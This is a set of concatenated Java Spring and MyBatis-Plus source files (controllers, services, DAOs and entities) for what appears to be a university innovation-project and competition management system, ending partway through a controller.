import com.innovate.modules.innovate.entity.ProjectApplyUpdateEntity;
import com.innovate.modules.innovate.service.ProjectApplyUpdateService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目申请修改
**/
@RestController
@RequestMapping("innovate/project/apply/update")
public class ProjectApplyUpdateController extends AbstractController {
@Autowired
private ProjectApplyUpdateService projectApplyUpdateService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:apply:save")
public R list(@RequestParam Map<String, Object> params) {
List<ProjectApplyUpdateEntity> page = projectApplyUpdateService.queryAll(params);
return R.ok().put("page", page);
}
/**
* 申请修改
*/
@PostMapping("/apply")
@RequiresPermissions("innovate:apply:save")
public R applyUpdate(@RequestParam Map<String, Object> params) {
projectApplyUpdateService.applyUpdate(params);
return R.ok();
}
/**
* 更新
*/
@PostMapping("/update")
@RequiresPermissions("innovate:apply:save")
public R update(@RequestBody(required = false) ProjectApplyUpdateEntity projectApplyUpdateEntity) {
projectApplyUpdateService.update(projectApplyUpdateEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.match.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.match.entity.MatchRetreatEntity;
import com.innovate.modules.match.service.MatchRetreatService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@RestController
@RequestMapping("innovate/match/retreat")
public class MatchRetreatController extends AbstractController {
@Autowired
private MatchRetreatService matchRetreatService;
/**
* 不通过
*/
@PostMapping("/retreat")
@RequiresPermissions("innovate:match:retreat")
public R retreat(@RequestParam Map<String, Object> params) {
matchRetreatService.updateRetreat(params);
return R.ok();
}
/**
* 回退修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:match:retreat")
public R update(@RequestParam Map<String, Object> params) {
matchRetreatService.updateRetreat(params);
return R.ok();
}
@PostMapping("/query")
@RequiresPermissions("innovate:match:list")
public R noPass(@RequestParam Map<String, Object> params){
List<MatchRetreatEntity> retreatEntityList = matchRetreatService.queryAll(params);
return R.ok().put("retreatEntityList",retreatEntityList);
}
}
<file_sep>package com.innovate.modules.innovate.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.InnovateReviewGroupUserEntity;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
public interface InnovateReviewGroupUserService extends IService<InnovateReviewGroupUserEntity> {
List<InnovateReviewGroupUserEntity> queryAllGroupUser(Long groupId);
/**
* 查询评委组创建的用户ID列表
*/
List<Long> queryUserIdList(Long groupId);
}
<file_sep>package com.innovate.modules.check.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.math.BigDecimal;
import java.io.Serializable;
import java.util.Date;
import lombok.Data;
/**
* 中期检查表
*
* @author Mikey
* @email <EMAIL>
* @date 2019-09-18 22:20:42
*/
@Data
@TableName("innovate_check_info")
public class InnovateCheckInfoEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
*
*/
@TableId
private Long checkId;
/**
* 大创项目外键
*/
private Long declareId;
/**
* 评审组外键
*/
private Long groupId;
/**
* 是否是要修改的项目
*/
private Integer isUpdate;
/**
* 是否申请修改
*/
private Integer applyUpdate;
/**
* 申报不通过
*/
private Integer checkNoPass;
/**
* 二级学院
*/
private Long instituteId;
/**
* 检查平均分
*/
private Double checkScoreAvg;
/**
* 状态标识
*/
private Integer projectCheckApplyStatus;
/**
* 时间
*/
private Date checkTime;
/**
* 删除标识
*/
private Integer isDel;
}
<file_sep>package com.innovate.modules.match.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.match.entity.MatchRetreatEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
public interface MatchRetreatService extends IService<MatchRetreatEntity> {
@Transactional
void updateRetreat(Map<String, Object> params);
List<MatchRetreatEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.innovate.dao.ProjectLegalInfoDao;
import com.innovate.modules.innovate.entity.ProjectLegalInfoEntity;
import com.innovate.modules.innovate.service.ProjectLegalInfoService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-11-08
* @description:法人
**/
@Service
public class ProjectLegalInfoServiceImpl extends ServiceImpl<ProjectLegalInfoDao, ProjectLegalInfoEntity> implements ProjectLegalInfoService {
@Override
public List<ProjectLegalInfoEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.training.controller;
import java.io.File;
import java.util.*;
import com.innovate.common.utils.OSSUtils;
import com.innovate.modules.util.FileUtils;
import com.innovate.modules.util.RandomUtils;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.training.entity.InnovateTrainingBaseAttachEntity;
import com.innovate.modules.training.service.InnovateTrainingBaseAttachService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* 实训基地附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:44:45
*/
@RestController
@RequestMapping("training/innovatetrainingbaseattach")
public class InnovateTrainingBaseAttachController {
@Autowired
private InnovateTrainingBaseAttachService innovateTrainingBaseAttachService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("training:innovatetrainingbaseattach:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateTrainingBaseAttachService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{attachId}")
@RequiresPermissions("training:innovatetrainingbaseattach:info")
public R info(@PathVariable("attachId") Long attachId){
InnovateTrainingBaseAttachEntity innovateTrainingBaseAttach = innovateTrainingBaseAttachService.selectById(attachId);
return R.ok().put("innovateTrainingBaseAttach", innovateTrainingBaseAttach);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("training:innovatetrainingbaseattach:save")
public R save(@RequestBody InnovateTrainingBaseAttachEntity innovateTrainingBaseAttach){
innovateTrainingBaseAttachService.insert(innovateTrainingBaseAttach);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("training:innovatetrainingbaseattach:update")
public R update(@RequestBody InnovateTrainingBaseAttachEntity innovateTrainingBaseAttach){
innovateTrainingBaseAttachService.updateById(innovateTrainingBaseAttach);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("training:innovatetrainingbaseattach:delete")
public R delete(@RequestBody Long[] attachIds){
innovateTrainingBaseAttachService.deleteBatchIds(Arrays.asList(attachIds));
return R.ok();
}
/**
* 文件上传
* @param files
* @param request
* @return
*/
@PostMapping(value = "/upload")
@RequiresPermissions("training:innovatetrainingbaseachieve:list")
public Object uploadFile(@RequestParam("file") List<MultipartFile> files, HttpServletRequest request) {
String trainingBaseName = request.getParameter("trainingBaseName");
// String UPLOAD_FILES_PATH = ConfigApi.UPLOAD_URL + enterpriseName + "/"+ RandomUtils.getRandomNums()+"/";
String UPLOAD_FILES_PATH = "innovatetrainingbaseattach"+ File.separator + Calendar.getInstance().get(Calendar.YEAR) + File.separator+trainingBaseName + "/"+ RandomUtils.getRandomNums()+"/";
if (Objects.isNull(files) || files.isEmpty()) {
return R.error("文件为空,请重新上传");
}
InnovateTrainingBaseAttachEntity trainingBaseAttachEntity = null;
for(MultipartFile file : files){
String fileName = file.getOriginalFilename();
// result = FileUtils.upLoad(UPLOAD_FILES_PATH, fileName, file);
OSSUtils.upload2OSS(file,UPLOAD_FILES_PATH+fileName);
UPLOAD_FILES_PATH += fileName;
trainingBaseAttachEntity = new InnovateTrainingBaseAttachEntity();
trainingBaseAttachEntity.setAttachPath(UPLOAD_FILES_PATH);
trainingBaseAttachEntity.setAttachName(fileName);
}
return R.ok("文件上传成功")
.put("trainingBaseAttachEntity", trainingBaseAttachEntity);
}
/**
* 文件下载
*/
@PostMapping(value = "/download")
@RequiresPermissions("training:innovatetrainingbaseachieve:list")
public void downloadFile(final HttpServletResponse response, final HttpServletRequest request) {
String filePath = request.getParameter("filePath");
FileUtils.download(response, filePath);
}
}
<file_sep>package com.innovate.modules.declare.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.declare.entity.DeclareRetreatEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
public interface DeclareRetreatService extends IService<DeclareRetreatEntity> {
@Transactional
void updateRetreat(Map<String, Object> params);
List<DeclareRetreatEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.match.entity.MatchApplyUpdateEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目申请修改
**/
@Mapper
public interface MatchApplyUpdateDao extends BaseMapper<MatchApplyUpdateEntity> {
List<MatchApplyUpdateEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.match.entity.MatchEventEntity;
import com.innovate.modules.match.service.MatchEventService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.*;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@RestController
@RequestMapping("innovate/match/event")
public class MatchEventController extends AbstractController {
@Autowired
private MatchEventService matchEventService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:event:list")
public R list(@RequestParam Map<String, Object> params) {
PageUtils page = matchEventService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 所有列表
*/
@GetMapping("/all")
public R all() {
List<MatchEventEntity> matchEventEntityList = matchEventService.queryAllEvent();
return R.ok().put("matchEventEntityList", matchEventEntityList);
}
/**
* 统计各赛事信息
*/
@PostMapping("/total")
@RequiresPermissions("innovate:total:save")
public R total(@RequestParam Map<String, Object> params) {
if ("{}".equals(params) && params == null) {
List<Long> eventIds = new ArrayList<>();
List<MatchEventEntity> matchEventEntityList = matchEventService.queryAllEvent();
for (MatchEventEntity matchEventEntity : matchEventEntityList) {
eventIds.add(matchEventEntity.getEventId());
}
//封装params
for (Long eventId : eventIds) {
params.put("eventId", eventId);
//先统计
matchEventService.total(params);
params = new HashMap<>();
}
}else{
//先统计
matchEventService.total(params);
}
//后遍历
PageUtils page = matchEventService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@GetMapping("/info/{eventId}")
@RequiresPermissions("innovate:event:info")
public R info(@PathVariable("eventId") Integer eventId) {
MatchEventEntity matchEventEntity = matchEventService.selectById(eventId);
return R.ok().put("matchEventEntity", matchEventEntity);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:event:save")
public R save(@RequestBody MatchEventEntity matchEventEntity) {
matchEventService.insert(matchEventEntity);
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:event:update")
public R update(@RequestBody MatchEventEntity matchEventEntity) {
matchEventService.updateAllColumnById(matchEventEntity);
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:event:delete")
public R delete(@RequestBody Long[] eventIds) {
matchEventService.deleteBatchIds(Arrays.asList(eventIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.declare.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:10
* @Version 1.0
*/
public interface DeclareInfoService extends IService<DeclareInfoEntity> {
/**
* 获得项目ID
*/
DeclareInfoEntity queryById(Long declareId);
/**
* 查询满足条件的项目总数
* @param params
* @return
*/
Integer queryCountPage(Map<String, Object> params);
/**
* 查询满足条件的项目
* @param params
* @return
*/
List<DeclareInfoEntity> queryPage(Map<String, Object> params);
List<DeclareInfoEntity> noPass(Map<String, Object> params);
//统计项目个数
Long queryDeclareProjectNum(Map<String, Object> params);
//统计创新训练项目数
Long queryNewProjectNum(Map<String, Object> params);
//统计创业训练项目数
Long queryTrainProjectNum(Map<String, Object> params);
//统计创业实践项目数
Long queryPracticeProjectNum(Map<String, Object> params);
/**
* 删除项目
* @param params
*/
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.match.entity.MatchEventEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
public interface MatchEventService extends IService<MatchEventEntity> {
PageUtils queryPage(Map<String, Object> params);
List<MatchEventEntity> queryAllEvent();
@Transactional
void total(Map<String, Object> params);
MatchEventEntity queryByEventId(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.InnovateSchoolEntity;
import com.innovate.modules.innovate.service.InnovateSchoolService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@RestController
@RequestMapping("innovate/sys/school")
public class InnovateSchoolController extends AbstractController {
@Autowired
private InnovateSchoolService innovateSchoolService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:school:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateSchoolService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 所有
*/
@GetMapping("/all")
public R all(){
List<InnovateSchoolEntity> school = innovateSchoolService.queryAll();
return R.ok()
.put("school", school);
}
/**
* 信息
*/
@GetMapping("/info/{schoolId}")
@RequiresPermissions("innovate:school:info")
public R info(@PathVariable("schoolId") Integer schoolId){
InnovateSchoolEntity school = innovateSchoolService.selectById(schoolId);
return R.ok().put("school", school);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:school:save")
public R save(@RequestBody InnovateSchoolEntity innovateSchoolEntity){
innovateSchoolService.insert(innovateSchoolEntity);
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:school:update")
public R update(@RequestBody InnovateSchoolEntity innovateSchoolEntity){
innovateSchoolService.updateAllColumnById(innovateSchoolEntity);
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:school:delete")
public R delete(@RequestBody Long[] schoolIds){
innovateSchoolService.deleteBatchIds(Arrays.asList(schoolIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.declare.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:18
* @Version 1.0
*/
@Mapper
public interface DeclareInfoDao extends BaseMapper<DeclareInfoEntity> {
/**
* 获得项目ID
*/
DeclareInfoEntity queryById(Long declareId);
Integer queryCountPage(Map<String, Object> params);
List<DeclareInfoEntity> queryPage(Map<String, Object> params);
List<DeclareInfoEntity> noPass(Map<String, Object> params);
//统计项目个数
Long queryDeclareProjectNum(Map<String, Object> params);
//统计创新训练项目数
Long queryNewProjectNum(Map<String, Object> params);
//统计创业训练项目数
Long queryTrainProjectNum(Map<String, Object> params);
//统计创业实践项目数
Long queryPracticeProjectNum(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.BaseMoneyEntity;
import com.innovate.modules.innovate.service.BaseMoneyService;
import com.innovate.modules.innovate.utils.BaseCalculateUtil;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 20:02
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/base/money")
public class BaseMoneyController extends AbstractController {
@Autowired
private BaseMoneyService baseMoneyService;
private BaseMoneyEntity tempBaseMoneyEntity;
/**
* 获取收入列表
* @param params
* @return
*/
@GetMapping("/list")
@RequiresPermissions("innovate:baseMoney:list")
public R list(@RequestParam Map<String,Object> params){
PageUtils page= baseMoneyService.queryPage(params);
return R.ok().put("page",page);
}
/**
* 通过id获取收入详情信息
* @param baseMoneyId
* @return
*/
@GetMapping("/info/{baseMoneyId}")
@RequiresPermissions("innovate:baseMoney:info")
public R info(@PathVariable("baseMoneyId") Integer baseMoneyId){
BaseMoneyEntity baseMoney= baseMoneyService.selectById(baseMoneyId);
return R.ok().put("baseMoney",baseMoney);
}
/**
* 保存
* @param baseMoneyEntity
* @return
*/
@PostMapping("/save")
@RequiresPermissions("innovate:baseMoney:save")
public R save(@RequestBody BaseMoneyEntity baseMoneyEntity){
baseMoneyService.insert(baseMoneyEntity);
BaseCalculateUtil.setCalculateId(baseMoneyEntity.getBaseId());
BaseCalculateUtil.calculate();
return R.ok();
}
/**
* 修改
* @param baseMoneyEntity
* @return
*/
@PostMapping("/update")
@RequiresPermissions("innovate:baseMoney:update")
public R update(@RequestBody BaseMoneyEntity baseMoneyEntity){
//获取修改之前的实体,目的拿到修改前的baseId
tempBaseMoneyEntity = baseMoneyService.selectById(baseMoneyEntity.getMoneyId());
baseMoneyService.updateAllColumnById(baseMoneyEntity);
BaseCalculateUtil.setCalculateId(baseMoneyEntity.getBaseId());
BaseCalculateUtil.calculate();
BaseCalculateUtil.setCalculateId(tempBaseMoneyEntity.getBaseId());
BaseCalculateUtil.calculate();
return R.ok();
}
/**
* 删除
* @param baseMoneyIds
* @return
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:baseMoney:delete")
public R delete(@RequestBody Long[] baseMoneyIds){
for (Long baseMoneyId: baseMoneyIds) {
//获取实体拿到baseId
tempBaseMoneyEntity = baseMoneyService.selectById(baseMoneyId);
//删除
baseMoneyService.deleteById(baseMoneyId);
BaseCalculateUtil.setCalculateId(tempBaseMoneyEntity.getBaseId());
BaseCalculateUtil.calculate();
}
return R.ok();
}
}
<file_sep>package com.innovate.modules.declare.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import com.fasterxml.jackson.databind.ser.std.ToStringSerializer;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @author:tz
* @create:2018-11-08
* @description:参赛项目荣誉成果
**/
@Data
@TableName("innovate_declare_award")
public class DeclareAwardEntity implements Serializable {
@TableId
private Long awardId;
private Long declareId;
private Long awardType;
@JsonSerialize(using = ToStringSerializer.class)
private Double awardMoneyAll;
@JsonSerialize(using = ToStringSerializer.class)
private Double awardMoneySchool;
@JsonSerialize(using = ToStringSerializer.class)
private Double awardMoneyDistrict;
@JsonSerialize(using = ToStringSerializer.class)
private Long isPrize;
@JsonSerialize(using = ToStringSerializer.class)
private Long isDel;
}
<file_sep>package com.innovate.modules.declare.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.declare.entity.DeclareRetreatEntity;
import com.innovate.modules.declare.entity.DeclareSigningOpinionEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@Mapper
public interface DeclareSigningOpinionDao extends BaseMapper<DeclareSigningOpinionEntity> {
List<DeclareRetreatEntity> queryDeclareSigningOpinion(Map<String, Object> params);
/**
* 通过项目ID查询指导老师签署意见
* @param declareId
* @return
*/
DeclareSigningOpinionEntity queryDeclareSigningOpinionByDeclareId(Long declareId);
void remove(Map<String, Object> params);
DeclareSigningOpinionEntity queryDeclareSigningOpinionByDeclareIdAndType(long declareId, int signType);
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.innovate.modules.innovate.entity.InnovateDeclarationProcessSettingEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
import java.util.Date;
import java.util.Map;
/**
* 申报流程设置
*
* @author HHUFU
* @email <EMAIL>
* @date 2021-02-03 11:43:20
*/
@Mapper
public interface InnovateDeclarationProcessSettingDao extends BaseMapper<InnovateDeclarationProcessSettingEntity> {
int queryCount(Map<String, Object> params);
int queryStartTime(Map<String, Object> params);
int queryEndTime(Map<String, Object> params);
InnovateDeclarationProcessSettingEntity selectByTime(Map<String, Object> params);
InnovateDeclarationProcessSettingEntity queryNew();
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.google.gson.Gson;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.*;
import com.innovate.modules.innovate.service.*;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.*;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/12/4
**/
@Service
public class ProjectInfoModelServiceImpl implements ProjectInfoModelService {
@Autowired
private ProjectAttachService projectAttachService;
@Autowired
private ProjectAwardService projectAwardService;
@Autowired
private UserPerInfoService userPerInfoService;
@Autowired
private ProjectStaffInfoService projectStaffInfoService;
@Autowired
private ProjectLegalInfoService projectLegalInfoService;
@Autowired
private ProjectSubMoneyService projectSubMoneyService;
@Autowired
private ProjectInfoService projectInfoService;
@Autowired
private ProjectTeacherService projectTeacherService;
@Autowired
private ProjectReviewService projectReviewService;
private List<ProjectTeacherEntity> projectTeacherEntities;
private List<UserPersonInfoEntity> userPersonInfoEntities;
private List<ProjectAttachEntity> projectAttachEntities;
private List<ProjectSubMoneyEntity> projectSubMoneyEntities;
private List<ProjectStaffInfoEntity> projectStaffInfoEntities;
private List<ProjectLegalInfoEntity> projectLegalInfoEntities;
private List<ProjectAwardEntity> projectAwardEntities;
private List<ProjectReviewEntity> projectReviewEntities;
@Override
public PageUtils queryPage(Map<String, Object> params) {
Integer totalPage = projectInfoService.queryCountPage(params);
Integer currPage = 1;
Integer pageSize = 10;
try {
if (params.get("currPage")!=null&¶ms.get("pageSize")!=null) {
currPage = Integer.parseInt(params.get("currPage").toString());
pageSize = Integer.parseInt(params.get("pageSize").toString());
}
} catch (Exception e) {
e.printStackTrace();
}
Integer startPage = 0 + pageSize * (currPage - 1);
Integer endPage = pageSize;
params.put("startPage", startPage);
params.put("endPage", endPage);
// 临时接收项目信息
List<ProjectInfoEntity> tempLists = null;
// 项目所有信息的临时实体
ProjectInfoModel tempProjectInfoModel = null;
// 包含项目所有信息的主要实体
List<ProjectInfoModel> projectInfoModels = new ArrayList<>();
tempLists = projectInfoService.queryPage(params);
Map<String, Object> tempParams = new HashMap<>();
for (ProjectInfoEntity projectInfoEntity : tempLists) {
tempParams.put("projectId", projectInfoEntity.getProjectId());
tempProjectInfoModel = this.query(tempParams);
projectInfoModels.add(tempProjectInfoModel);
}
return new PageUtils(projectInfoModels, totalPage, pageSize, currPage);
}
@Override
public List<ProjectInfoModel> queryAll(Map<String, Object> params) {
return null;
}
@Override
public ProjectInfoModel query(Map<String, Object> params) {
Long projectId = Long.parseLong(params.get("projectId").toString());
ProjectInfoModel tempProjectInfoModel = new ProjectInfoModel();
// 根据项目ID查询出对应的项目信息
ProjectInfoEntity projectInfoEntity = projectInfoService.selectById(projectId);
tempProjectInfoModel.setProjectInfoEntity(projectInfoEntity);
// 获取项目相关的所有表的数据信息
userPersonInfoEntities = userPerInfoService.queryAllPersonInfo(params);
projectTeacherEntities = projectTeacherService.queryAll(params);
projectAttachEntities = projectAttachService.queryAll(params);
projectSubMoneyEntities = projectSubMoneyService.queryAll(params);
projectStaffInfoEntities = projectStaffInfoService.queryAll(params);
projectLegalInfoEntities = projectLegalInfoService.queryAll(params);
projectAwardEntities = projectAwardService.queryAll(params);
projectReviewEntities = projectReviewService.queryAll(params);
// 将项目相关的信息放入tempInnovateProjectInfoModel中
tempProjectInfoModel.setUserPersonInfoEntities(userPersonInfoEntities);
tempProjectInfoModel.setProjectTeacherEntities(projectTeacherEntities);
tempProjectInfoModel.setProjectAttachEntities(projectAttachEntities);
tempProjectInfoModel.setProjectSubMoneyEntities(projectSubMoneyEntities);
tempProjectInfoModel.setProjectStaffInfoEntities(projectStaffInfoEntities);
tempProjectInfoModel.setProjectLegalInfoEntities(projectLegalInfoEntities);
tempProjectInfoModel.setProjectAwardEntities(projectAwardEntities);
tempProjectInfoModel.setProjectReviewEntities(projectReviewEntities);
return tempProjectInfoModel;
}
@Override
public void saveEntity(ProjectInfoModel projectInfoModel) {
projectInfoService.insert(projectInfoModel.getProjectInfoEntity());
this.saveOrupdateProps(projectInfoModel);
}
@Override
public void updateEntity(ProjectInfoModel projectInfoModel) {
projectInfoService.updateById(projectInfoModel.getProjectInfoEntity());
this.saveOrupdateProps(projectInfoModel);
}
@Override
public void saveOrupdateProps(ProjectInfoModel projectInfoModel) {
Long projectId = projectInfoModel.getProjectInfoEntity().getProjectId();
for (ProjectTeacherEntity projectTeacherEntity : projectInfoModel.getProjectTeacherEntities()) {
projectTeacherEntity.setProjectId(projectId);
projectTeacherService.insertOrUpdate(projectTeacherEntity);
}
for (ProjectAttachEntity projectAttachEntity : projectInfoModel.getProjectAttachEntities()) {
projectAttachEntity.setProjectId(projectId);
projectAttachService.insertOrUpdate(projectAttachEntity);
}
for (ProjectSubMoneyEntity projectSubMoneyEntity : projectInfoModel.getProjectSubMoneyEntities()) {
projectSubMoneyEntity.setProjectId(projectId);
projectSubMoneyService.insertOrUpdate(projectSubMoneyEntity);
}
for (ProjectStaffInfoEntity projectStaffInfoEntity : projectInfoModel.getProjectStaffInfoEntities()) {
projectStaffInfoEntity.setProjectId(projectId);
projectStaffInfoService.insertOrUpdate(projectStaffInfoEntity);
}
for (ProjectLegalInfoEntity projectLegalInfoEntity : projectInfoModel.getProjectLegalInfoEntities()) {
projectLegalInfoEntity.setProjectId(projectId);
projectLegalInfoService.insertOrUpdate(projectLegalInfoEntity);
}
for (ProjectAwardEntity projectAwardEntity : projectInfoModel.getProjectAwardEntities()) {
projectAwardEntity.setProjectId(projectId);
projectAwardService.insertOrUpdate(projectAwardEntity);
}
}
@Override
public void deleteEntity(Map<String, Object> params) {
this.deleteProps(params);
projectInfoService.remove(params);
}
@Override
public void deleteProps(Map<String, Object> params) {
projectTeacherService.remove(params);
projectAttachService.remove(params);
projectSubMoneyService.remove(params);
projectStaffInfoService.remove(params);
projectLegalInfoService.remove(params);
projectAwardService.remove(params);
}
}
<file_sep>package com.innovate.modules.profess.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.profess.entity.InnovateProfessAttachEntity;
import java.util.Map;
/**
* 专创附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:40:46
*/
public interface InnovateProfessAttachService extends IService<InnovateProfessAttachEntity> {
PageUtils queryPage(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.InnovateInstituteEntity;
import com.innovate.modules.innovate.service.InnovateInstituteService;
import com.innovate.modules.match.entity.MatchEventEntity;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.*;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@RestController
@RequestMapping("innovate/sys/institute")
public class InnovateInstituteController extends AbstractController {
@Autowired
private InnovateInstituteService innovateInstituteService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:institute:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateInstituteService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 所有学院
*/
@GetMapping("/all")
public R all(){
List<InnovateInstituteEntity> institute = innovateInstituteService.queryAllInstitute();
return R.ok()
.put("institute", institute);
}
/**
* 统计各学院申报项目信息
*/
@PostMapping("/total")
@RequiresPermissions("innovate:total:save")
